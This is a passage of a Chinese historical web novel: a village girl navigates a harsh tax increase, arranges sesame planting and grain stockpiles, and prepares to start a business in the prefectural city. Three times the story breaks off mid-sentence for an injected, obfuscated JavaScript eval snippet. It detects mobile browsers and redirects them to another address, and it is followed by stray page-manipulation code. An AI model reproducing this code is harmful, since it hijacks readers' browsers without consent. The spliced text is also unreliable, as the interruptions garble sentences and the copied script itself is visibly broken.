而秦彧实际在返乡之前便以授官，只待至期便能上任，因而秦放便想以此时机降低此墨售价，也好与骏阳府众学子卖个好。 但授官之事不好当庭说白，秦放简而言之，只说此墨定价六两六钱，意在前途顺畅无阻。 “瑛娘觉得如何？” 一方墨成本只在半两银上下，便是算上人力、时耗，成本也提不了多少，便售六两六钱，其利润也有近六两。 不过在商言商，瑛娘自然觉得此墨当得起这个价，点头道：“甚好。” 秦放“哈哈”大笑，兴起之余竟是端了酒来与瑛娘助兴，徐雪芝不禁怒视，挥退小厮才叫他回过神来。 “哎……叫瑛娘看笑话了。今日实在高兴，难免有些上头。” 瑛娘盈盈一笑，倒是端茶与秦放碰了杯，又敬徐雪芝，“劳夫人关怀。” “外道什么？只管随我娘家侄女叫一声芝姨。” 瑛娘从善如流，当真含笑叫了声“芝姨”。 秦家礼宴办得隆重，待得宴后离府，宾客还带走了几样商队打远方寻摸来的稀罕物作伴手礼。 如此，各方来客无不赞叹秦家行事大方。 未及半月，府城贴榜通告新任同知名讳，往来者口口相传，待得同知名讳传入瑛娘耳中已是七月下旬交付之日。 章文德难得没有驻守东市，瑛娘一问，方知他已赶赴府城为东家公子打理家务。 “那章叔今后便不管丰县生意了？” “短期内确是不能了。不过章管事临行前特意叮嘱过，说是汪娘子送来的东西我只管收下，实在精贵的再寻东家做主。” “有劳小哥。” “汪娘子客气。” 无相熟之人攀谈，瑛娘交了货物就走。 农忙之际，村头却是波澜再起。 此前，丰县县令由公主家臣出任，公主薨逝，其任期却未满，眼下永兴帝竟也不管其功绩，直接以公主陵墓无人看顾之由夺其官职，责令入皇陵为公主守墓八年。 而新县令九月上任，随其上任同时颁布的新令却是农户增税至三十取五！ 地税如此该是如何恐怖？ 需知大王村今年亩产均值为三百三十斤，以老汪家四十亩地作比，仅此一年便需缴税粮二千二百斤！ 四十亩地产值扣除税粮，能入嘴的粮也不过七千余斤，若老汪家整家儿嚼用，这七千多斤粮倒也够吃还有盈余，可家里还有三个小子没娶，且谁也说不准自个儿生不生病，仅凭这四十亩地又能撑上几年？ 除了地税新令，同时通告的还有上头敲定的粮价标准，若农户、乡绅以银代粮，纳税需得按新定的粮价来缴——生稻、生麦一石六百文，舂好的稻米一石九百文，菽类、番薯皆作一文一斤。 徐氏听得头大，粗摸一算，却得了一笔于普通农户而言等同天价的数字来。 “……这什么新令？咱家今年光是地税都得缴上十一贯钱？！” 前头粮商入户，稻米作价三百文一石，生麦、生稻作价一百五十文一石，菽、薯四斤并作一文，如此贱价收入，转手却能卖到三倍、四倍的高价！ 如此一来，便是田地只种一年可收两季的菽、薯，也赶不上地税增长、粮价暴跌的速度！ 亏得大王村家家户户都种着两、三亩胡麻，又有瑛娘花钱请工，不然多的是倾家荡产填补地税的村人。 可即便如此，以一户十亩地为准，种两三亩胡麻、七八亩稻麦，最后所产也只够这一户□□口人缴税、糊嘴。 大王村尚且如此，其他没得胡麻种的农户又当如何应对？ 徐氏考虑不了这般多，汪木匠却算得心惊胆颤，恛惶无措望向瑛娘，一时竟也不知该说什么才能表述心情。 老汪家根儿在大王村，只一家过得好必然也安稳不了，毕竟仅老汪家四房媳妇儿就有四门亲家，只除了何氏与娘家不亲，其他三个又有谁能亲眼看着娘、舅挨饿吃苦？ 唯一的办法就是说服村正同意各户增种胡麻。 增种胡麻倒也不难，可村人也有亲友，胡麻种植一经宣扬，秦家商队吃不下事小，引起官府重视才是得不偿失。 汪点德吃了胡麻的红利，眼下可舍不得放弃这门买卖，脑子一顿，却是想起自家与秦家的往来，扭头就问瑛娘，道：“瑛娘可能见着小秦老爷？能说服他任我们种植胡麻吗？” 瑛娘与秦彧哪有什么交情，只无声瞥他一眼，徐氏便先抬手猛拍了两下他的脑袋，“什么猪脑子！瑛娘一个待嫁娘子怎好去找官老爷求情！再说！规矩是上头那个定的，小秦老爷又能做替我们什么主？何必叫瑛娘去讨人臭脸！” 汪点德吃痛，却是心不甘愿，闷声反问道：“那怎么办？” 自打税令下行， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077306|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汪木匠就愁得抽起了旱烟，只堂屋里头不好点了熏人，闻言便只敲了两下烟杆子，“先去问问村正的意见，若是能种，就先给咱们村缓缓劲儿再说。” 平日里村头杂务上头可没心思下来管，村正出面震慑村人，应也能暂时瞒下胡麻增种的事来，至于今后…… “瑛娘，你觉得咱们村儿增种多少合适？” 大王村拢共六十八户，约摸得户均种植五、六亩才够抵消地税带来的影响，但大王村整村只有一千二百亩田地，取四百亩种胡麻实在太过打眼，最好还是控制在三百以内才好说服村正瞒报。 “以我所见不如就种三百亩胡麻。” 但三百亩胡麻换成银钱也不过四百五十贯钱，其中三百三十贯需得待粮缴税，余下一百二十贯才能分给各户花用，如此利益还不如全种了精粮，便是说服了村正，村头那些脑子活泛的也早晚会觉出味儿来。 瑛娘不希望帮扶变成仇，索性点了汪点德，建议道：“二叔，三百亩胡麻可得利近一千八百两，此番境况之下，这等厚利若叫村人知晓，咱们家必定不能安生，不如提高胡麻购价叫村人好过，就当结个善缘。” “……提多少？” “提至五十文。” “……” “不行！” 提至五十文不就等同本钱翻倍？ 不待汪点德算完盈收，林氏先沉不住气大声否了瑛娘的提议。 汪点德自然也是不多愿意。 但有林氏在前顶着，汪点德便闷声不应，默默算清账目，只看汪木匠与瑛娘如何说。 三百亩胡麻，便是本钱翻倍也能盈利近一千四百两，如今徐氏已非从前那般计较，亦知村人过好自家的买卖才能少经波澜，当即瞪了林氏一眼，怒声呵斥道：“一千多两的赚头还堵不住你这张嘴！不想过就滚回娘家去！” 眼看汪木匠表情也不好看，汪点德这才站出来拉了林氏一把，好声好气劝她，道：“翻倍就翻倍，积少成多嘛！” 徐氏哪儿能不知亲儿为人，没好气“哼”了一声，顺势揭过此事，“老头子，一会儿你先去探探村正口风，若他不肯松口，你再提胡麻提价的事儿。” 汪木匠脑子里乱糟糟一片，闻言“嗯”了一声，又与瑛娘商量道：“村正多半能同意增种胡麻之事，只是章掌柜那头还需你去协商。” 瑛娘确是没关注过胡麻入市后的行情，索性十月待交付的花露与颜料都已备好，待汪木匠出门，她便也驾了骡车进城。 只不知章文德眼下是在丰县还是府城。 进了城，却见城中商户也是满面愁容。 地税增收两成，商税却是直接翻倍。 类比口脂售卖，一年总价一千五百两银，不论成本，方氏都需缴纳税银六十两银，这还是按摊贩一百纳四的算法。 而三房面铺子一年总产值约摸四百二十银，税银需得三十三两六钱银才够，如此扣除铺面租金、成本，盈利只剩三百两出头，比之从前大大缩水。 如此仅三房两门买卖税银就近百两，可想而知，其他薄利的小商贩又削减了多少收入。 世人为了活怕是什么都干得出来，瑛娘不想赌命，一路走来都在盘算该如何应对将乱的局面。 不待瑛娘盘算清楚，杂货铺子里接替章文德的伙计已经踏出铺子，热情招呼。 瑛娘只得暂压想法，笑与伙计回应，靠边停好将箱笼搬下车来。 “章叔还在府城么？” “是嘞！章管事要提作公子府上管家，怕是再难回丰县当差了。娘子这回怎的提前来了？” 瑛娘略感遗憾，倒没隐瞒提前的因由，直言道：“颁了新令，家中正乱呢。” 新令对秦家的买卖倒是影响不大，伙计笑了笑没搭腔，又问瑛娘可有别的打算。 “确有一事需得劳烦小哥告与秦叔。前头我二叔与章叔协定代销胡麻油，只家中条件有限，两年来都只供得三千六百斤。眼下二叔手头也宽裕了不少，家中便打算来年多供一倍。” “原是此事！汪娘子放心，胡麻油在外头卖得极好，章管事特意传信交代过，说是此油若能加量，只要不超过一万斤便是我也能做主收下。” 自然，加量之功亦算在伙计头上。 章文德不在，有些事不好与伙计攀谈。 瑛娘不欲多待，索性笑别伙计，驾车在城头转了一圈，买了新布与点心，这才回了村头。 53. 相看 汪木匠很是费了一番口舌才说服村正点头同意增种胡麻。 索性今年的胡麻还没收完，汪木匠又做主补齐了先头收来的胡麻差价，打今年起便将胡麻提价至五十文一斤。 如此一来，虽付出了更多本钱，但行此善，汪木匠与徐氏心头皆是隐隐畅快，再听瑛娘带回消息，连日紧绷的弦也松了大半。 吃过晚食，待各房回屋，汪木匠又支使徐氏找了瑛娘主动提及存粮之事。 自公主薨逝，瑛娘每年都要支出一笔银钱存粮，汪木匠与徐氏受她影响，每逢秋后闲时便也跟随其事，加上今年新粮，亦然攒下了二百来石生稻、生麦。 不料今岁地税再增，汪木匠恐起人祸，便想问问瑛娘打算，再适量多存些粮入仓，免得到时天灾人祸伴行，连自家人的嘴都糊不上。 瑛娘今年确是打算翻倍收粮。 眼下她手头银钱存备充盈，较昨年翻几倍量也足够，只是如此便不好只叫云客一人帮忙，还需请徐氏娘家那边的表叔表哥们帮忙。 想罢，瑛娘便与汪木匠与徐氏说了自己今年的打算。 “三千石稻米，一千石生麦，再收三万斤番薯。不拘十里八村，能跑远地儿收也成，毕竟咱们藏粮只是以防万一，也要叫乡邻自个儿留够糊嘴的才好。待此事办完，每位帮手的表叔表哥，都给二十两银作报酬。” 这般多的粮可不止是养活一家人那般简单，徐氏一听便倒吸了一口凉气，转头看向汪木匠，却见他也皱着眉似在思索自家该也多藏与否。 果不其然，随即汪木匠也开口叫徐氏拿钱来，“咱家粮仓不大，今年的新粮都没得地方存，索性家里头也不缺老三一个，便叫他去城头帮手，把老三家的两间屋也腾出来存粮。” 两间屋少说能存两千石粮，徐氏手头攒了一千五百来两银，加上今年还未售出的胡麻油能分得五百两，如何也够收粮花用了。 只是徐氏不如瑛娘抛洒，舂好的稻米也不如生稻好存，徐氏便只打算出一千石生稻的粮钱。 “老三家还得做捞面，得把他们的用量也算上。” 商税虽也增收，但面铺子一年少说也能给徐氏二百多两的进账，闻言一叹，“那粮价怎么算？” “还按从前的算。稻米六百文一石，生麦、生稻三百六十文一石，番薯一文两斤。” 汪木匠沉默半晌也“嗯”了一声，徐氏无法，只得依言多拿一份钱，转念又问瑛娘今年还收不收江米。 昨年有墨方便宜，秦放便舍了三十石江米与瑛娘，且按一石一两银的低价算。 今年瑛娘还想再收五十石存备，但这事儿需得她自个儿去与秦放说才显诚意，因此拒了徐氏帮忙，只道自己还有别的安排。 此事说定，瑛娘也回屋去清点存银。 今年提前交付花青与桂花香露，得待来年四月才有新的进账。 此番收粮需用近两千两银，之后还要收江米五十石，收粮亦需到城头租房、贴补日需花用、支付老徐家表亲帮手的工钱，冬月里也要与瓷器铺子结银，除夕日更要给林氏与何氏备一份今年帮手的工钱，加之前头才花了三贯钱买丝绢裁制新衣，紧接着又要考虑云氏、玥娘的年礼，如此算来，买完粮还能剩下五百两零散银钱。 瑛娘还打算去府城看看铺面，如此几百两怕是不够，索性从存银中取出十锭百两银元宝，待得明年进账再行填补。 备了银钱，徐氏一并交与瑛娘保管。 但瑛娘出资两千余两，徐氏也拿了六百两银，便是合装一个箱笼也不好随意搬动，徐氏不放心瑛娘独行，只得丢下自个儿的活计陪她走一趟，待至上湾村村头，才与她分道。 瑛娘自是去秦家与秦放商购江米，顺道打探府城近况。 整个骏阳府只秦家才种江米，而江米亩产三石，瑛娘想买五十石势必得掺杂从前的陈谷，不过秦家粮仓仿州仓建造，陈谷三五年也不见得会败坏，需用时出仓脱壳也能保重八成，瑛娘自然不会介意这谷是新是陈。 “只是需得劳烦秦叔着人帮忙脱粒，眼下家里事多，确是支不出人手来。” 秦家最不缺的就是能卖力的小厮、长工，往年徐氏出面来买也是只买脱粒，秦放自然慨然应允，问道：“五十石江米该不是自家吃了吧？可是打算用江米单做一门营生？” 瑛娘手头要做的事不少，但秦放不知内情，只当瑛娘年岁渐长，老汪家正待与她备齐嫁妆。 寻常农户之女不好高嫁，但瑛娘如何也算不得普通，应当不至于要靠丰厚嫁妆才能觅得良人才对…… 秦放所思却是不好与瑛娘直言，因而暗自琢磨来日还得叫徐雪芝出面帮着瑛娘相看才好。 瑛娘不知秦放这般操心，盈盈一笑，直言道：“是打算来年去府城寻一门营生，只寻常东西不好拿去府城，倒不如赁个铺子，做些稀奇的小食，再寻机会做别的。” “是这个理。”思及来年“苦禅墨”开售，秦放顺势提了一嘴，“第一批墨出了一万方，丰县学子吃不下，今夏老章便先一步去府城寻了铺子，若你来年真打算去府城营生，何不托信与我，好叫你章叔先帮着相看相看？” 瑛娘讶然。 先头杂货铺子的伙计只说章文德是调任公子管家，她便也未往别处想，眼下知晓章文德还兼管秦家在府城的买卖，确是可以托他先在府城帮忙看看适合做小食买卖的铺面。 恩情往来，瑛娘自然就势将此事托付与秦放，“那便烦请秦叔与章叔帮忙，铺子无需多大，但后院需得至少三间屋、一间灶，若院中有井更好。” 如此要求也不算过分，秦放乐得帮忙，便叫她先回大王村，“江米脱粒之后我会使人给你送到家头去，只寻铺子需得些日子，你且耐心等着，有信儿了我再与你传话。” “多谢秦叔。” 离了秦府，瑛娘先去老徐家寻徐氏。 其间，徐氏已与兄弟说清收粮的打算，只待瑛娘见过秦老爷便能返家。 奔波半日，午食也吃得没滋没味。 瑛娘借歇晌的空闲拉了云氏进偏间说话，听及年后要去府城赁铺子，便是早已习惯了她这想一出是一出的性子，云氏当下也是惊得不轻。 大王村毗邻丰县，与府城相距也不算远，驾车六刻即可达。 但若日日往来，瑛娘势必要叫苦，可若真只放她一人去，便是云氏自个儿也不放心。 不过她不放心自可跟去，真正会阻拦瑛娘的却是汪木匠与徐氏。 思及徐氏从前的嘴脸，云氏不禁蹙紧眉头，忧道：“这买卖非做不可么？来年你就十六了，便是娘有心留你，你奶也会着手与你相看人家，能同意你去府城？” 瑛娘但笑不语。 她如今可不似初来此世时那般被动，若真要走，仅凭汪木匠与徐氏又如何拦得住？ 云氏哪儿能看不懂瑛娘表情，只能叹气妥协，“那你去说服他们。若你爷奶同意， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083617|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来年我便随你去府城。” “行，明日我便与爷奶通气。” 心有成算，次日朝食刚上桌，瑛娘便当众话白来年的打算。 一听瑛娘要去府城营生，不待汪木匠与徐氏否决，二房汪点德两口子先不干了。 平日里瑛娘虽说帮不上谁的忙，可汪点柱是种田好手，云氏也能独挡家务，若他们一走，家里的田地便只能由汪点德与汪会父子多操一份心，家务也只能林氏与何氏多分摊一些。 汪点水倒是一人能顶两人用，可惜如今汪木匠也上了年纪，总不好叫他也多管几亩田地。 再说汪点柱还与汪点水合作薯粉买卖，若他真撒手不管，为了不断三房面铺子的货，汪点水势必得更费些功夫在这上头，倒是田里的活不就全压在他们二房身上了？ 汪点德越想越气，不顾汪木匠目光沉沉，犟着一股气梗着脖颈叫汪点柱表态，“瑛娘不归我管，但大哥不能丢下家里一堆活计去城头！” 汪点柱眼下也正懵。 瑛娘压根儿没准备带汪点柱去府城，云氏亦未先与他通气，眼下汪点德如此，确是叫他一时不知先顾哪头才好。 不及汪点柱表态，汪木匠先沉着脸一巴掌拍在了饭桌上。 “你大哥不是你的长工！家里的田地也不是你大哥自个儿的！怎么！非你大哥才能伺候田地是不？！” 汪点德心觉汪木匠这是避重就轻，眼珠子一转，气势却是先矮了一头。 “爹，家里确实离不开大哥啊！三弟那面铺子每日还等着薯粉用，四弟一个人哪儿忙活得过来？再说了，现在爹娘年纪也大了，总不能叫你们再去地里劳累吧？” 汪木匠倒是觉得自己还能干几年，可自打家里过得宽裕了，徐氏便不叫他再去受那累。 如此，若大房真去了府城，这田地怕是得荒一半，可若不让大房去，瑛娘怕是得闹起来。 这妮子就是头犟驴！ 哎！ 叫整家儿都没心思吃朝食的瑛娘却喝了一口米粥，从容道：“我只是去府城营生，不是就此带着爹娘妹妹嫁去别家。不过，二叔说的也有道理，爹不去便不去吧，在家守着爷奶也能叫我在外头待得安心些。” 汪点德没想到还能这么干，一时表情凝滞，再看汪点柱亦是如此。 徐氏倒是隐隐觉得有些不对劲，可瑛娘这一通说怎么看都是情真意切，云氏也面无异色，便是她心中犹疑也觉不出什么错儿来。 拿不定主意，徐氏只能看汪木匠，谁知汪木匠也蹙着眉头不知作何感想。 满堂无语，又听瑛娘轻轻笑道：“来年四叔也该四十了吧？家里只有二哥一个壮丁，四十亩地怕是种来艰难，总归我要去府城，不如就把我那五亩地典给别家种胡麻，也无需给什么租子，只要农忙时能帮着家里侍弄田地就成。爷奶以为如何？” 这犟驴定好的事儿谁又能如何？！ 汪木匠闷声生气，却是埋头吃饭，甩手不管了。 徐氏同样气闷，瞪了汪点柱一眼，扭头便将矛头指向云氏，气道：“瑛娘翻过年就十六了，你个做娘的怎么也不知道心急！去府城？去了府城谁又能替瑛娘相看？” 瑛娘“咣啷”将碗放下，面无表情注视徐氏，“奶以为我在村头又能说个什么人家？” 徐氏嗫嚅半晌，脑子里过遍乡邻竟也觉不出一个能与瑛娘匹配的来。 所谓高不成，低不就，该是如此具现。 54. 定局 府城之行已成定局。 徐氏依旧心觉不甘，又问瑛娘：“你去府城，眼下手头正做的营生又待如何？” 倒不是徐氏贪图方子。 毕竟香露制法一看便懂，瑛娘忙不及时也是请林氏与何氏代工，一应用具都在院儿里头摆着。 而颜料、口脂制法虽有些复杂，瑛娘却也从未关起门来背着家头的人自个儿做，端的是任谁想学都成的态度。 前头林氏倒是想过要学，可惜她耐心不足，只帮手蒸蒸香露都要与何氏论回功劳，之后手头宽裕了，更是没了日日盯着瑛娘的耐心。 林氏是没耐心学，其他人则是完全没那想法，毕竟各房都靠瑛娘得了实惠，日子好过，又何必去贪图更多？ 瑛娘心知徐氏早已不似从前，可“汪瑛”曾受苛待却不能轻易抹消，因而只当不知其意，扯起嘴角淡漠一笑，“奶是想再做一门营生？香露么……不难，二婶与四婶该也学会了。颜料方子暂时却是给不了，奶不如先与二婶学着口脂制法，学成之后也好做来供给三嫂去卖，免得我去了府城还要操心丰县的买卖。当然，奶正做的茶枯皂也无需再与我分成，不管挣多挣少，奶都只管自个儿收着。” “……” 徐氏被顶得嘴角下压，一时接不上话。 汪木匠也是眸色发沉，目光从桌前众人身上扫过，却是如何也想不到瑛娘的怒意源自四年前的“换亲”。 瑛娘才不管他们心情如何，喝完米粥便要离桌。 “今日还有得忙，奶想好了再找我说。” “……” 徐氏自是舍不下脸再找瑛娘说话。 此番揭过，瑛娘只管忙活自己的事。 三门买卖刨除本钱，加上商铺年租，一年能有二千七百两银进账，瑛娘舍不得丢，来年又要去府城，需用的几样花、草便得提前安排妥当。 颜料所需干栀子短期内不会短缺，茜草根近期也可叫村人多采集些晒干存备，但蓼蓝与艾草却是当年生的鲜草更得用，花露所需原花也得新鲜些才好，瑛娘不想往来奔波，最好的办法就是在村头择一能理事的“总代”，待每季收齐了再一通拉去府城交付与她。 但此责任却不宜叫老汪家的人来担，一来瑛娘今日闹这一出就是要与汪木匠与徐氏两老口摆明态度，二来么……瑛娘对这一家子确是信任不多，将来能不牵扯最好。 自然，花、草也能使人就近采摘，毕竟夕山绵延，非只大王村村人能靠山吃山，但瑛娘毕竟明面儿上还是老汪家的一员，升米恩斗米仇，不必因此叫村人白白失了一份银钱来源，进而盯上她这个曾与便利的人攻讦。 此外，颜料与花露、口脂制得成品也需着人送至丰县，此人不好叫村头的“总代”同时负责，免得村人算得其中暴利心生怨怼，才真真儿是得不偿失。 如此看来，倒是入城寻一牙人签下长工或直接买一奴籍杂役最为划算。 思定此事，瑛娘便驾车去了一趟丰县。 杂货铺子如今换了人当差，瑛娘自然无需再去招呼，直接路过一路行至中人屋舍。 牛二正与同行摆闲。 见瑛娘驾车而来，牛二连忙迎了出来与她笑道：“稀客啊！该有一年未见了？” 他人笑脸相迎，瑛娘自然回敬，将车靠边停下，笑呵呵道：“是，牛二叔今年可给我留了适用的院子或铺面？” “自然！自然！也是赶了巧了！你前些年赁过两月半，道又给退了的院子，可还记得？就甜井巷巷尾的独院儿，屋主近来有意外售，我帮你问过了，最低给到九百两银就能卖！还有西市的商铺，眼下也空出来一间，价格还算公道。如何？可要与那屋主、铺主见见？” 说来成也萧何，败也萧何。 丰县出了秦彧这么个大儒门生，连带城头房屋、铺面的价格都涨了一大截，先头秦彧爆冷上任骏阳府五品同知，城头房价更是炒出三倍高价。 不料九月县令换任，随之颁布新令，城头普通商户大多自顾不暇，再无炒房的心思，更有典卖房屋贴补商铺之辈，故而房价暴跌。 瑛娘手头还有六千五百两银及五百两金，支出九百银买这院子也无甚影响，但甜井巷院子均价七百，瑛娘又决意去府城营生，再买丰县的院子也无甚大用。 只见瑛娘沉默，牛二便知她这是改了主意。 不过买卖自由，人不买，他也不能逼着掏钱不是？ “租也成，那院子本就是屋主置产之一，一时也不急着卖，赁上一两月也无甚所谓。” 今年收的粮多，只赁一月怕是不够，瑛娘交了两月的租金，拿过钥匙才与牛二打听牙人。 “牛二叔可知丰县哪位牙人办事最稳妥？” “牙人么……不知是要签长工还是买人？” “签长工如何，买又如何？” 牛二皱起眉头，斟酌着措辞才道：“农籍、工籍都只能签长工，只有官籍、商籍才能买奴。若我没记错的话，汪娘子应该还是农籍？如若只是不想漏了方子与长工，不如叫亲朋中从商籍者代为过户，只要捏死卖身契，应也比签长工叫人安心。” 一经提醒瑛娘才知自己忽略了户籍限制。 地方官吏虽非事无巨细，但律法严明，该有的条律都算完备。 只时人多以旁门应对，她与章文德往来时也不可能冒昧盘问身份，故而忽略了这种不会摆在明面上谈论的问题。 可眼下汪木匠与徐氏绝不可能松口叫汪点柱分户转籍，她又不信任只签工契的长工，更不可能买了奴籍仆从挂在三房名下……如此倒将自己置于尴尬境地。 “汪娘子可是觉得为难了？” 瑛娘确是觉得有些难办。 运送之事交给长工去做倒也无甚所谓，但入了府城，可支使的人便只剩云氏与玥娘。 瑛娘有意叫云氏单做一门小食的买卖。 而玥娘来年也才十一，便是她有意叫她帮手，香露蒸制这等需要更换天锅热水的活儿她也干不下来。 香露制法又无需什么技巧，老汪家的目前还会顾忌自家人的身份，不会轻易泄露，可帮手的长工却是不好控制。 若非天生愚钝，帮手的长工多看几眼便也能学了去，虽说学去了也影响不了她的买卖，可秦家以此获利颇多，若真有大批香露流入市场，恐怕也会坏了秦家的声名。 此番境地实属她自大之过。 瑛娘叹了口气，话头一转，如实提及府城之行。 “来年我准备去府城营生，牛二叔可知农籍去府城需要做些什么准备？” “府城？”牛二眉头一蹙，“若是不便转籍，仅凭农户之身在府城往来怕也难过。” “先说入城，非府城居民，入城就要交一百文人头税，这税是一日一交，便是三岁小儿也不例外。除了人头税，每日吃喝也是一大问题，若只是摆摊，自个儿带些干粮也好，但若以铺子买卖，每日还需支付五十文市税。府城市税区别于商税之外，是从商者一笔额外支出。” “再者，府城房屋、铺面价格高昂，以汪娘子手头那间商铺作比，同样式儿的在府城就得卖上五千两银，租子也需三百两，加上一年十几、二十两市税，一人三四十两的人头税，轻易怕是承担不起。” 这般说来，府城税务确实过高了。 瑛娘手头就有现银，买也好、赁也罢，凭几门买卖平衡每年也能盈余。 只是铺子是作小食买卖，还需好好计算才能保将来盈利。 此事不急。 “若是购下院子、商铺，可能凭此以农籍在府城定居？” 这是打定了主意要做府城居民？ 牛二暗呼自己还是看走了眼，展颜乐道：“自然可以！我一兄弟就是府城往来的中人，你若要买，来日我介绍与你认识？” “今日多谢牛二叔慨言，此事待我回家与长辈商量过再来寻你。” “不外道！不外道！牙人呢？还见么？” 总不好进城一趟什么也没办成，瑛娘点头应下，牛二便与同行说了声，带着她出了屋舍。 正经牙人的办所毗邻户所，牛二带着瑛娘入内很是引人注目，不过待看清瑛娘衣着与她簪发所用，关注瑛娘的牙人也收起了“看货”的目光，换上挑不出错的笑脸。 不过牛二在丰县混迹多年，自然知晓这些牙人有自个儿的一套行事方法，直接领着瑛娘躲开几个牙人，找到了一个挽发簪花的中年妇人。 这妇人生得一张苦脸，簪的花也是素白的绢花，便是扯起嘴角笑意也不明显。 “这是黄二嫂，别看她面苦，实际为人很好，还专门置了院子安置卖身为奴的女子，在这城头，不管签长工还是买奴，找她一准儿没错！” 得了夸黄二嫂也只是扯了扯嘴角，没与牛二多道，开口直入正题，问瑛娘需用长工亦或买奴。 长工自是需用。 但瑛娘未及开口，却是想到此去府城三人皆为女子，若真带一男性长工随行，恐怕也会遭人攻讦。 此世女子多受限制，她可以不听不闻，老汪家那些人听了怕是不会不管，届时被动者必定会是云氏，如此，便与她此前打算相悖。 瑛娘默叹，收起想法，转而问道：“黄二嫂手下女奴可是自卖己身？” “多是如此。” “如此还请黄二嫂与我推荐一位厉害、能干的女奴，平日里约摸就是些洗衣、洒扫的活计，必要时需与我帮手，都是些不费劲儿的小活，但涉及能传世的方子，需此奴话少嘴紧才好。” 黄二嫂想了一圈，确是想来两个较为符合要求的女奴，“娘子随我去看看人再说？” “成。” 见此事多半成了，牛二也不好再跟，乐呵呵与瑛娘道别。 黄二嫂自然不多留他，只道来日请他吃酒，便一路引着瑛娘去院子看人。 黄二娘安置女奴的院子就在东市一隅，前头是铺子，后头是三间屋的院子，一间能住六人。 平日里这些女奴也不闲着，日日晨起便做些面饼子在前头摆着卖，虽不至于盈利多少，却也叫黄二嫂不至于白养着十来张嘴。 不过这些女奴皆知自己为何在此，此时见黄二嫂领了衣着举止皆不似贫苦女子的瑛娘来，便知她是她们其中一人未来的主家了。 进了院子，黄二嫂便叫来了一大一小两个女奴。 年纪大者约摸四十来岁，或是饱经风霜，目光、神态皆有些发沉，但面对瑛娘很是尊敬，做了个半福礼便安静站定好叫她打量。 年纪小的那个则相对活泼些，看起来也就十七、八岁，见瑛娘比她还小便忍不住神游天外，得黄二嫂提醒才与瑛娘敬礼。 二者目光还算清正，衣着虽旧却也干净整洁，想来不是那等偷奸耍滑之辈。 瑛娘心觉满意，思索之后便与黄二嫂确定，道：“可能告知卖身因由？” “自然。” 此二者，年纪大者名唤谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089693|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅，膝下无子无女，因丈夫暴打至一耳失聪，后遭夫家休弃，娘家爹娘舅兄也尽数离世，算得亲缘断尽，如此半生颠沛，前些年一路乞讨至丰县，实在活不下去才卖身为奴。 年纪小者贱名阿草，本是北地一名孤女，因长大后还算略有姿色被拐至骏阳府，半路出逃才为黄二嫂所救，又得银钱治伤，为报其恩才自卖自身。这般背景原也不该介绍与瑛娘，但黄二嫂养了阿草几年，又雇人查验过其话真假，这才想借此机会为她寻得一位好相与的主家。 黄二嫂据实相告，瑛娘听过也觉这两人应能得用。 但农籍限制确是不好解决，瑛娘不好断言买与不买，只叫黄二嫂借一步说话。 黄二嫂依言带了瑛娘进屋相谈，待得热茶上桌，瑛娘才与黄二嫂道出实情。 黄二嫂没料到还有这等问题亟待解决，皱着眉想了半天也是想不出时下能钻的漏子。 “娘子家中却是没有商籍亲朋么？” 有是有，但都不堪用。 瑛娘无言摇头，也在脑子里过了一遍能用之人。 老徐家的表亲也不指望，云家那头与云氏也不多往来，唯独云客因瑾娘的关系与她们还算亲近，可小两口前些时候刚置办了田产，又与云氏报了喜讯，如今过着也算充实，收粮事宜且罢，却是不好突然叫他放弃田产转入商籍。 “黄二嫂也无法么？” “确是没别的办法，新任县令……”黄二嫂骤然止住话头，干巴巴转开了话题，“如若不然娘子先请看看长工？我手下长工亦有女子，只是涉及方子私密，还得你自个儿多注意。” 瑛娘最是不希望在自己的地界儿还得防着人偷窥，沉默半晌，却是兀地想起谢梅那双眼睛。 “黄二嫂，依你之见谢梅可还得信？” 思绪被牵引，黄二嫂却是一时没能反应过来，下意识道：“谢梅也算得信，但她这人说白了就是生无可恋，无所谓日子过成啥样。” 人无羁绊便是如此。 “倘若我与你谢梅的赎银，再把阿草一并买下叫谢梅带走，两人自此以母女相称，谢梅可会愿意？” “……” 黄二嫂瞠目结舌，却是半晌说不出话来。 人无羁绊便如无根浮萍，可若与她一份羁绊，以谢梅平日展现的性子，怕是会自此将阿草视如性命，而与她羁绊之人，势必也将得她衔草还恩。 黄二嫂深吸了一口气，苦闷的面容此刻尽显温柔，“若你能将她二人一同带走，赎银我可少收三成。谢梅与阿草的卖身契都是在我手里，写下放奴契去户所加印即可，你若实在放不下心，自可查验过她二人品性再将放奴契与卖身契归于她们。” 瑛娘却摇了摇头，“只赎谢梅，阿草年纪太小，性子未定，我不信她。” 